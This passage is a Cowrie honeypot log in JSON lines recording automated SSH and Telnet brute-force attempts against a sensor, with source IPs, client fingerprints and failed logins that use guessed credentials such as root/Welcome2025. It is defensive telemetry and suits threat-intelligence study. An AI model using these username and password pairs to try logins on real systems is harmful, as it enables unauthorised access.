{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx#EDC4rfv","message":"login attempt [root/!QAZ2wsx#EDC4rfv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:16.845401Z","src_ip":"185.242.234.173","session":"ee5307406444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":57620,"dst_ip":"10.17.0.5","dst_port":22,"session":"7d36ddcf4ac4","protocol":"ssh","message":"New connection: 43.153.85.27:57620 (10.17.0.5:22) [session: 7d36ddcf4ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:17.776541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:17.782170Z","src_ip":"43.153.85.27","session":"7d36ddcf4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.00370645523071,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:17.790322Z","src_ip":"152.42.224.71","session":"456b1df22d5e","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:17.851606Z","src_ip":"43.153.85.27","session":"7d36ddcf4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:18.054138Z","src_ip":"185.242.234.173","session":"ee5307406444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome2025","message":"login attempt [root/Welcome2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:18.159763Z","src_ip":"43.153.85.27","session":"7d36ddcf4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:19.231988Z","src_ip":"43.153.85.27","session":"7d36ddcf4ac4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47014,"dst_ip":"10.17.0.5","dst_port":23,"session":"74360b4e493a","protocol":"telnet","message":"New connection: 152.42.224.71:47014 (10.17.0.5:23) [session: 74360b4e493a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:20.957076Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.16.212.232","src_port":55748,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a0cc2415826","protocol":"ssh","message":"New connection: 59.16.212.232:55748 (159.203.135.109:22) [session: 3a0cc2415826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:27.166820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:27.171750Z","src_ip":"59.16.212.232","session":"3a0cc2415826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:27.369302Z","src_ip":"59.16.212.232","session":"3a0cc2415826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37182,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fcefb8afd0d","protocol":"telnet","message":"New connection: 152.42.224.71:37182 (10.17.0.5:23) [session: 4fcefb8afd0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:27.660435Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qwe123","message":"login attempt [deploy/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:28.191317Z","src_ip":"59.16.212.232","session":"3a0cc2415826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:29.391436Z","src_ip":"59.16.212.232","session":"3a0cc2415826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.117.179.232","src_port":47942,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d52f053fef5","protocol":"ssh","message":"New connection: 45.117.179.232:47942 (10.17.0.5:22) [session: 8d52f053fef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:34.776569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:34.787510Z","src_ip":"45.117.179.232","session":"8d52f053fef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:35.047961Z","src_ip":"45.117.179.232","session":"8d52f053fef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"testtest","message":"login attempt [ubuntu/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:36.102511Z","src_ip":"45.117.179.232","session":"8d52f053fef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:37.361258Z","src_ip":"45.117.179.232","session":"8d52f053fef5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00387787818909,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:53.582908Z","src_ip":"152.42.224.71","session":"bdbd65ca3b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":55330,"dst_ip":"159.203.135.109","dst_port":22,"session":"9022588f952d","protocol":"ssh","message":"New connection: 103.27.238.120:55330 (159.203.135.109:22) [session: 9022588f952d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:58.221370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:58.226389Z","src_ip":"103.27.238.120","session":"9022588f952d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:58.496186Z","src_ip":"103.27.238.120","session":"9022588f952d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdopi123","message":"login attempt [root/asdopi123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:37:59.304445Z","src_ip":"103.27.238.120","session":"9022588f952d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:00.579359Z","src_ip":"103.27.238.120","session":"9022588f952d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37934,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f67860322f0","protocol":"telnet","message":"New connection: 152.42.224.71:37934 (10.17.0.5:23) [session: 5f67860322f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:06.298610Z"}
{"eventid":"cowrie.session.closed","duration":47.03468108177185,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:07.991621Z","src_ip":"152.42.224.71","session":"74360b4e493a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55254,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3c8a1c7988d","protocol":"ssh","message":"New connection: 193.32.162.145:55254 (10.17.0.5:22) [session: b3c8a1c7988d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:15.825102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:15.830904Z","src_ip":"193.32.162.145","session":"b3c8a1c7988d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:15.940195Z","src_ip":"193.32.162.145","session":"b3c8a1c7988d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shredrum","message":"login attempt [root/shredrum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:16.270377Z","src_ip":"193.32.162.145","session":"b3c8a1c7988d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:17.378739Z","src_ip":"193.32.162.145","session":"b3c8a1c7988d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":2526,"dst_ip":"10.17.0.5","dst_port":22,"session":"0598cbb1328a","protocol":"ssh","message":"New connection: 181.0.214.136:2526 (10.17.0.5:22) [session: 0598cbb1328a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:20.107167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:20.116361Z","src_ip":"181.0.214.136","session":"0598cbb1328a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:20.278792Z","src_ip":"181.0.214.136","session":"0598cbb1328a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"r123456","message":"login attempt [root/r123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:20.931290Z","src_ip":"181.0.214.136","session":"0598cbb1328a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:22.100130Z","src_ip":"181.0.214.136","session":"0598cbb1328a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.200.156","src_port":48874,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ec327818814","protocol":"ssh","message":"New connection: 49.51.200.156:48874 (10.17.0.5:22) [session: 9ec327818814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:24.117210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:24.121657Z","src_ip":"49.51.200.156","session":"9ec327818814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:24.198924Z","src_ip":"49.51.200.156","session":"9ec327818814","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@","message":"login attempt [root/1qaz2wsx!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:24.505805Z","src_ip":"49.51.200.156","session":"9ec327818814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:25.578801Z","src_ip":"49.51.200.156","session":"9ec327818814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56626,"dst_ip":"10.17.0.5","dst_port":23,"session":"15e4530536f0","protocol":"telnet","message":"New connection: 152.42.224.71:56626 (10.17.0.5:23) [session: 15e4530536f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:27.868767Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.242.234.173","src_port":42670,"dst_ip":"10.17.0.5","dst_port":22,"session":"f25ca9d91f4c","protocol":"ssh","message":"New connection: 185.242.234.173:42670 (10.17.0.5:22) [session: f25ca9d91f4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:28.432746Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.85.27","src_port":51930,"dst_ip":"10.17.0.5","dst_port":22,"session":"b50013c3ad6d","protocol":"ssh","message":"New connection: 43.153.85.27:51930 (10.17.0.5:22) [session: b50013c3ad6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:28.849333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:38:28.858104Z","src_ip":"43.153.85.27","session":"b50013c3ad6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-